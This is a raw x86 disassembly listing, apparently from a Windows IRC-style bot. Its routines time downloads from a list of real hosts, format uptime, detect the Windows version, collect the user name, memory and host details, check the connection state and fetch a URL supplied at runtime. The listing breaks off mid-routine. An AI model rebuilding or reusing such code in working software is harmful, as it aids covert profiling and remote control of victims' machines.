mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41AC88
push [ebp+eax*4+var_3C]
call sub_41ACA2
push 8
mov esi, eax
call sub_41AC88
push [ebp+eax*4+var_3C]
call sub_41ACA2
add esp, 10h
test esi, esi
jz short loc_41AF80
test eax, eax
jz short loc_41AF7C
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41AF82
; ---------------------------------------------------------------------------
loc_41AF7C: ; CODE XREF: sub_41AE7F+F4j
mov ebx, esi
jmp short loc_41AF82
; ---------------------------------------------------------------------------
loc_41AF80: ; CODE XREF: sub_41AE7F+F0j
mov ebx, eax
loc_41AF82: ; CODE XREF: sub_41AE7F+FBj
; sub_41AE7F+FFj
push 0Ch
call sub_41AC88
push [ebp+eax*4+var_6C]
call sub_41ACA2
push 0Ch
mov edi, eax
call sub_41AC88
push [ebp+eax*4+var_6C]
call sub_41ACA2
add esp, 10h
test edi, edi
jz short loc_41AFBA
test eax, eax
jz short loc_41AFB6
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41AFBC
; ---------------------------------------------------------------------------
loc_41AFB6: ; CODE XREF: sub_41AE7F+12Ej
mov esi, edi
jmp short loc_41AFBC
; ---------------------------------------------------------------------------
loc_41AFBA: ; CODE XREF: sub_41AE7F+12Aj
mov esi, eax
loc_41AFBC: ; CODE XREF: sub_41AE7F+135j
; sub_41AE7F+139j
push 6
call sub_41AC88
push [ebp+eax*4+var_1C]
call sub_41ACA2
push 6
mov edi, eax
call sub_41AC88
push [ebp+eax*4+var_1C]
call sub_41ACA2
add esp, 10h
test edi, edi
jz short loc_41AFF4
test eax, eax
jz short loc_41AFF0
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41AFF6
; ---------------------------------------------------------------------------
loc_41AFF0: ; CODE XREF: sub_41AE7F+168j
mov ecx, edi
jmp short loc_41AFF6
; ---------------------------------------------------------------------------
loc_41AFF4: ; CODE XREF: sub_41AE7F+164j
mov ecx, eax
loc_41AFF6: ; CODE XREF: sub_41AE7F+16Fj
; sub_41AE7F+173j
xor eax, eax
test ebx, ebx
jz short loc_41B003
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41B006
; ---------------------------------------------------------------------------
loc_41B003: ; CODE XREF: sub_41AE7F+17Bj
push 2
pop edi
loc_41B006: ; CODE XREF: sub_41AE7F+182j
test esi, esi
jz short loc_41B00E
add eax, esi
jmp short loc_41B00F
; ---------------------------------------------------------------------------
loc_41B00E: ; CODE XREF: sub_41AE7F+189j
dec edi
loc_41B00F: ; CODE XREF: sub_41AE7F+18Dj
test ecx, ecx
jz short loc_41B017
add eax, ecx
jmp short loc_41B018
; ---------------------------------------------------------------------------
loc_41B017: ; CODE XREF: sub_41AE7F+192j
dec edi
loc_41B018: ; CODE XREF: sub_41AE7F+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_43CB18
push eax
call sub_41C056
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409982
lea eax, [ebp+var_26C]
push eax
call sub_4157A5
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41AE7F endp
; =============== S U B R O U T I N E =======================================
sub_41B05C proc near ; CODE XREF: sub_401B66+2508p
; sub_401B66+298Cp ...
arg_0 = dword ptr 4
push esi
push edi
call dword_4280A8 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
xor edx, edx
mov ecx, 15180h
mov esi, 0E10h
push 3Ch
pop edi
sub eax, [esp+8+arg_0]
div ecx
mov ecx, eax
mov eax, edx
xor edx, edx
div esi
mov esi, eax
mov eax, edx
xor edx, edx
div edi
push eax
push esi
push ecx
push offset aDdDhDm ; "%dd %dh %dm"
mov esi, offset dword_4DDFF8
push 32h
push esi
call sub_41C150
add esp, 18h
mov eax, esi
pop edi
pop esi
retn
sub_41B05C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B0AF proc near ; CODE XREF: sub_417474+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
call dword_4280C8 ; GetVersionExA
test eax, eax
jz short loc_41B141
cmp [ebp+var_90], 4
jnz short loc_41B117
cmp [ebp+var_8C], esi
jnz short loc_41B0FF
cmp [ebp+var_84], 1
jnz short loc_41B0F1
inc esi
loc_41B0F1: ; CODE XREF: sub_41B0AF+3Fj
cmp [ebp+var_84], 2
jnz short loc_41B141
xor esi, esi
inc esi
jmp short loc_41B141
; ---------------------------------------------------------------------------
loc_41B0FF: ; CODE XREF: sub_41B0AF+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41B10C
loc_41B108: ; CODE XREF: sub_41B0AF+77j
push 2
jmp short loc_41B140
; ---------------------------------------------------------------------------
loc_41B10C: ; CODE XREF: sub_41B0AF+57j
cmp [ebp+var_8C], 5Ah
jnz short loc_41B141
jmp short loc_41B131
; ---------------------------------------------------------------------------
loc_41B117: ; CODE XREF: sub_41B0AF+2Ej
cmp [ebp+var_90], 5
jnz short loc_41B141
cmp [ebp+var_8C], esi
jz short loc_41B108
cmp [ebp+var_8C], 1
jnz short loc_41B135
loc_41B131: ; CODE XREF: sub_41B0AF+66j
push 3
jmp short loc_41B140
; ---------------------------------------------------------------------------
loc_41B135: ; CODE XREF: sub_41B0AF+80j
cmp [ebp+var_8C], 2
jnz short loc_41B141
push 7
loc_41B140: ; CODE XREF: sub_41B0AF+5Bj
; sub_41B0AF+84j
pop esi
loc_41B141: ; CODE XREF: sub_41B0AF+25j
; sub_41B0AF+49j ...
mov eax, esi
pop esi
leave
retn
sub_41B0AF endp
; =============== S U B R O U T I N E =======================================
sub_41B146 proc near ; CODE XREF: sub_41B1FC+290p
push ebx
push esi
push edi
mov edi, 0F4240h
loc_41B14E: ; CODE XREF: sub_41B146+2Fj
; sub_41B146+35j
rdtsc
push 3E8h
mov ebx, edx
mov esi, eax
call dword_428064 ; Sleep
rdtsc
sub eax, esi
push 0
sbb edx, ebx
push edi
push edx
push eax
call sub_41DC10
mov esi, edx
mov ebx, eax
test esi, esi
ja short loc_41B14E
jb short loc_41B17D
cmp ebx, edi
ja short loc_41B14E
loc_41B17D: ; CODE XREF: sub_41B146+31j
push 0
push 64h
push esi
push ebx
call sub_41DC80
mov ecx, edx
push 64h
xor edx, edx
mov edi, eax
test ecx, ecx
pop eax
ja short loc_41B1F0
jb short loc_41B19C
cmp edi, 50h
jnb short loc_41B1A1
loc_41B19C: ; CODE XREF: sub_41B146+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41B1A1: ; CODE XREF: sub_41B146+54j
test ecx, ecx
ja short loc_41B1F0
jb short loc_41B1AC
cmp edi, 47h
jnb short loc_41B1B1
loc_41B1AC: ; CODE XREF: sub_41B146+5Fj
push 42h
xor edx, edx
pop eax
loc_41B1B1: ; CODE XREF: sub_41B146+64j
test ecx, ecx
ja short loc_41B1F0
jb short loc_41B1BC
cmp edi, 37h
jnb short loc_41B1C1
loc_41B1BC: ; CODE XREF: sub_41B146+6Fj
push 32h
xor edx, edx
pop eax
loc_41B1C1: ; CODE XREF: sub_41B146+74j
test ecx, ecx
ja short loc_41B1F0
jb short loc_41B1CC
cmp edi, 26h
jnb short loc_41B1D1
loc_41B1CC: ; CODE XREF: sub_41B146+7Fj
push 21h
xor edx, edx
pop eax
loc_41B1D1: ; CODE XREF: sub_41B146+84j
test ecx, ecx
ja short loc_41B1F0
jb short loc_41B1DC
cmp edi, 1Eh
jnb short loc_41B1E1
loc_41B1DC: ; CODE XREF: sub_41B146+8Fj
push 19h
xor edx, edx
pop eax
loc_41B1E1: ; CODE XREF: sub_41B146+94j
test ecx, ecx
ja short loc_41B1F0
jb short loc_41B1EC
cmp edi, 0Ah
jnb short loc_41B1F0
loc_41B1EC: ; CODE XREF: sub_41B146+9Fj
xor eax, eax
xor edx, edx
loc_41B1F0: ; CODE XREF: sub_41B146+4Dj
; sub_41B146+5Dj ...
sub eax, edi
pop edi
sbb edx, ecx
add eax, ebx
adc edx, esi
pop esi
pop ebx
retn
sub_41B146 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B1FC proc near ; CODE XREF: sub_401B66+26DDp
var_968 = byte ptr -968h
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 968h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_43FE14
mov [ebp+var_CC], 94h
call dword_4280C8 ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41B283
cmp [ebp+var_C4], ebx
jnz short loc_41B25F
cmp [ebp+var_BC], 1
jnz short loc_41B249
mov [ebp+var_4], offset a95 ; "95"
loc_41B249: ; CODE XREF: sub_41B1FC+44j
cmp [ebp+var_BC], 2
jnz loc_41B2FE
mov [ebp+var_4], offset aNt_1 ; "NT"
jmp short loc_41B2CF
; ---------------------------------------------------------------------------
loc_41B25F: ; CODE XREF: sub_41B1FC+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41B271
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_41B2C6
; ---------------------------------------------------------------------------
loc_41B271: ; CODE XREF: sub_41B1FC+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41B2BF
mov [ebp+var_4], offset aMe_0 ; "ME"
jmp short loc_41B2C6
; ---------------------------------------------------------------------------
loc_41B283: ; CODE XREF: sub_41B1FC+33j
cmp [ebp+var_C8], 5
jnz short loc_41B2BF
cmp [ebp+var_C4], ebx
jnz short loc_41B29D
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_41B2C6
; ---------------------------------------------------------------------------
loc_41B29D: ; CODE XREF: sub_41B1FC+96j
cmp [ebp+var_C4], 1
jnz short loc_41B2AF
mov [ebp+var_4], offset aXp_0 ; "XP"
jmp short loc_41B2C6
; ---------------------------------------------------------------------------
loc_41B2AF: ; CODE XREF: sub_41B1FC+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41B2C6
loc_41B2BF: ; CODE XREF: sub_41B1FC+7Cj
; sub_41B1FC+8Ej
mov [ebp+var_4], offset a??? ; "???"
loc_41B2C6: ; CODE XREF: sub_41B1FC+73j
; sub_41B1FC+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41B2FE
loc_41B2CF: ; CODE XREF: sub_41B1FC+61j
cmp [ebp+var_B8], bl
jz short loc_41B2FE
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset aSS_2 ; "%s (%s)"
push eax
call sub_41C056
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41B2FE: ; CODE XREF: sub_41B1FC+54j
; sub_41B1FC+D1j ...
mov ax, word_43A4F8
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4CDB44
mov [ebp+var_8], 100h
cmp eax, ebx
jz short loc_41B337
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_41B337: ; CODE XREF: sub_41B1FC+12Cj
push [ebp+arg_4]
call sub_40AB14
pop ecx
push eax
call dword_4CDCA4 ; inet_addr
mov [ebp+var_C], eax
push 2
lea eax, [ebp+var_C]
push 4
push eax
call dword_4CDC1C ; gethostbyaddr
cmp eax, ebx
jz short loc_41B360
push dword ptr [eax]
jmp short loc_41B365
; ---------------------------------------------------------------------------
loc_41B360: ; CODE XREF: sub_41B1FC+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41B365: ; CODE XREF: sub_41B1FC+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41C056
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call dword_428078 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset dword_43CE0C
push ebx
mov esi, 409h
push ebx
push esi
call dword_428108 ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call dword_428104 ; GetTimeFormatA
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call dword_428198 ; GlobalMemoryStatus
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41C1A1
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_968]
push eax
call sub_416F9A
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41B05C
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AB14
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416E8B
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416E8B
pop ecx
pop ecx
push eax
call sub_41B146
push edx
push eax
push offset dword_43CD30
push 200h
push [ebp+arg_0]
call sub_41C150
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41B1FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B4B0 proc near ; CODE XREF: sub_401B66+270Bp
; sub_401B66+7199p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41BD60
add esp, 0Ch
cmp dword_4CDD48, 0
jnz short loc_41B524
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4CDB28 ; InternetGetConnectedStateExA
test eax, eax
jnz short loc_41B505
lea eax, [ebp+var_8C]
push offset dword_43CE8C
push eax
call sub_41C056
pop ecx
pop ecx
loc_41B505: ; CODE XREF: sub_41B4B0+40j
test [ebp+var_C], 1
lea eax, [ebp+var_8]
jz short loc_41B51D
push offset dword_43CE84
loc_41B513: ; CODE XREF: sub_41B4B0+72j
push eax
call sub_41C056
pop ecx
pop ecx
jmp short loc_41B543
; ---------------------------------------------------------------------------
loc_41B51D: ; CODE XREF: sub_41B4B0+5Cj
push offset off_43CE80
jmp short loc_41B513
; ---------------------------------------------------------------------------
loc_41B524: ; CODE XREF: sub_41B4B0+28j
mov esi, offset off_43CE7C
lea eax, [ebp+var_8]
push esi
push eax
call sub_41C056
lea eax, [ebp+var_8C]
push esi
push eax
call sub_41C056
add esp, 10h
loc_41B543: ; CODE XREF: sub_41B4B0+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AB14
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_43CE38
push 200h
push [ebp+arg_0]
call sub_41C150
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41B4B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B576 proc near ; DATA XREF: sub_401B66+7604o
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
xor esi, esi
mov edi, 80h
inc esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_43CF6C
call sub_41BD60
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_41BD60
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_41BD60
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_41BD60
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_41BD60
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_4CDB60 ; InternetCrackUrlA
test eax, eax
jz loc_41B716
cmp [ebp+var_34], ebx
jbe short loc_41B64D
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_41BDC0
add esp, 0Ch
loc_41B64D: ; CODE XREF: sub_41B576+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41B66B
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_41BDC0
add esp, 0Ch
loc_41B66B: ; CODE XREF: sub_41B576+DEj
cmp [ebp+var_20], ebx
jbe short loc_41B685
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_41BDC0
add esp, 0Ch
loc_41B685: ; CODE XREF: sub_41B576+F8j
cmp [ebp+var_18], ebx
jbe short loc_41B69F
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_41BDC0
add esp, 0Ch
loc_41B69F: ; CODE XREF: sub_41B576+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_4CDC14
call dword_4CDC38 ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_41B72C
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4CDC2C ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41B733
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4CDBD8 ; HttpSendRequestA
test eax, eax
lea eax, [ebp+var_55C]
jz short loc_41B70F
push offset dword_43CF50
jmp short loc_41B73E
; ---------------------------------------------------------------------------
loc_41B70F: ; CODE XREF: sub_41B576+190j
push offset unk_43CF14
jmp short loc_41B73E
; ---------------------------------------------------------------------------
loc_41B716: ; CODE XREF: sub_41B576+B7j
lea eax, [ebp+var_55C]
push offset dword_43CEF8
push eax
call sub_41C056
mov esi, [ebp+var_C]
jmp short loc_41B744
; ---------------------------------------------------------------------------
loc_41B72C: ; CODE XREF: sub_41B576+153j
push offset unk_43CECC
jmp short loc_41B738
; ---------------------------------------------------------------------------
loc_41B733: ; CODE XREF: sub_41B576+17Bj
push offset unk_43CE9C
loc_41B738: ; CODE XREF: sub_41B576+1BBj
lea eax, [ebp+var_55C]
loc_41B73E: ; CODE XREF: sub_41B576+197j
; sub_41B576+19Ej
push eax
call sub_41C056
loc_41B744: ; CODE XREF: sub_41B576+1B4j
cmp [ebp+var_1D4], ebx
pop ecx
pop ecx
jnz short loc_41B771
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_409982
add esp, 14h
loc_41B771: ; CODE XREF: sub_41B576+1D6j
lea eax, [ebp+var_55C]
push eax
call sub_4157A5
pop ecx
push esi
call dword_4CDC98 ; InternetCloseHandle
push [ebp+var_4]
call dword_4CDC98 ; InternetCloseHandle
push [ebp+var_1D8]
call sub_40B2A3
pop ecx
push ebx
call dword_4280CC ; ExitThread
pop edi
pop esi
pop ebx
sub_41B576 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41B7A4 proc near ; CODE XREF: sub_40E453+185p
jmp dword_4281DC
sub_41B7A4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B7B0 proc near ; CODE XREF: sub_401000+38p
; sub_401252+14Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41B7D0
loc_41B7BC: ; CODE XREF: sub_41B7B0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41B803
test ecx, 3
jnz short loc_41B7BC
add eax, 0
loc_41B7D0: ; CODE XREF: sub_41B7B0+Aj
; sub_41B7B0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41B7D0
mov eax, [ecx-4]
test al, al
jz short loc_41B821
test ah, ah
jz short loc_41B817
test eax, 0FF0000h
jz short loc_41B80D
test eax, 0FF000000h
jz short loc_41B803
jmp short loc_41B7D0
; ---------------------------------------------------------------------------
loc_41B803: ; CODE XREF: sub_41B7B0+11j
; sub_41B7B0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B80D: ; CODE XREF: sub_41B7B0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B817: ; CODE XREF: sub_41B7B0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41B821: ; CODE XREF: sub_41B7B0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41B7B0 endp
; =============== S U B R O U T I N E =======================================
sub_41B82B proc near ; CODE XREF: sub_4010C2+62p
; sub_401B66+5808p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_41B840
or eax, 0FFFFFFFFh
jmp short loc_41B87A
; ---------------------------------------------------------------------------
loc_41B840: ; CODE XREF: sub_41B82B+Ej
test al, 83h
jz short loc_41B878
push esi
call sub_41E38B
push esi
mov edi, eax
call sub_41E325
push dword ptr [esi+10h]
call sub_41E272
add esp, 0Ch
test eax, eax
jge short loc_41B866
or edi, 0FFFFFFFFh
jmp short loc_41B878
; ---------------------------------------------------------------------------
loc_41B866: ; CODE XREF: sub_41B82B+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41B878
push eax
call sub_41B881
and dword ptr [esi+1Ch], 0
pop ecx
loc_41B878: ; CODE XREF: sub_41B82B+17j
; sub_41B82B+39j ...
mov eax, edi
loc_41B87A: ; CODE XREF: sub_41B82B+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41B82B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B881 proc near ; CODE XREF: sub_4010C2+5Cp
; sub_40AA3C+C3p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41B8E7
mov eax, dword_4DF6C8
cmp eax, 3
jnz short loc_41B8AD
push esi
call sub_41E677
pop ecx
test eax, eax
push esi
jz short loc_41B8D9
push eax
call sub_41E6A2
pop ecx
pop ecx
jmp short loc_41B8E7
; ---------------------------------------------------------------------------
loc_41B8AD: ; CODE XREF: sub_41B881+14j
cmp eax, 2
jnz short loc_41B8D8
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41F3D2
add esp, 0Ch
test eax, eax
jz short loc_41B8D8
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41F429
add esp, 0Ch
jmp short loc_41B8E7
; ---------------------------------------------------------------------------
loc_41B8D8: ; CODE XREF: sub_41B881+2Fj
; sub_41B881+44j
push esi
loc_41B8D9: ; CODE XREF: sub_41B881+20j
push 0
push dword_4DF6C4
call dword_428144 ; RtlFreeHeap
loc_41B8E7: ; CODE XREF: sub_41B881+Aj
; sub_41B881+2Aj ...
pop esi
leave
retn
sub_41B881 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B8EA proc near ; CODE XREF: sub_4010C2+43p
; sub_40F8BC+4Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_41B90E
xor eax, eax
jmp loc_41B9B7
; ---------------------------------------------------------------------------
loc_41B90E: ; CODE XREF: sub_41B8EA+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41B921
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41B92D
; ---------------------------------------------------------------------------
loc_41B921: ; CODE XREF: sub_41B8EA+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_41B92D
; ---------------------------------------------------------------------------
loc_41B92A: ; CODE XREF: sub_41B8EA+C4j
mov ecx, [ebp+arg_0]
loc_41B92D: ; CODE XREF: sub_41B8EA+35j
; sub_41B8EA+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_41B95F
mov eax, [esi+4]
test eax, eax
jz short loc_41B95F
cmp ecx, eax
mov edi, ecx
jb short loc_41B944
mov edi, eax
loc_41B944: ; CODE XREF: sub_41B8EA+56j
push edi
push dword ptr [esi]
push ebx
call near ptr sub_41CAE0
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_41B9AA
; ---------------------------------------------------------------------------
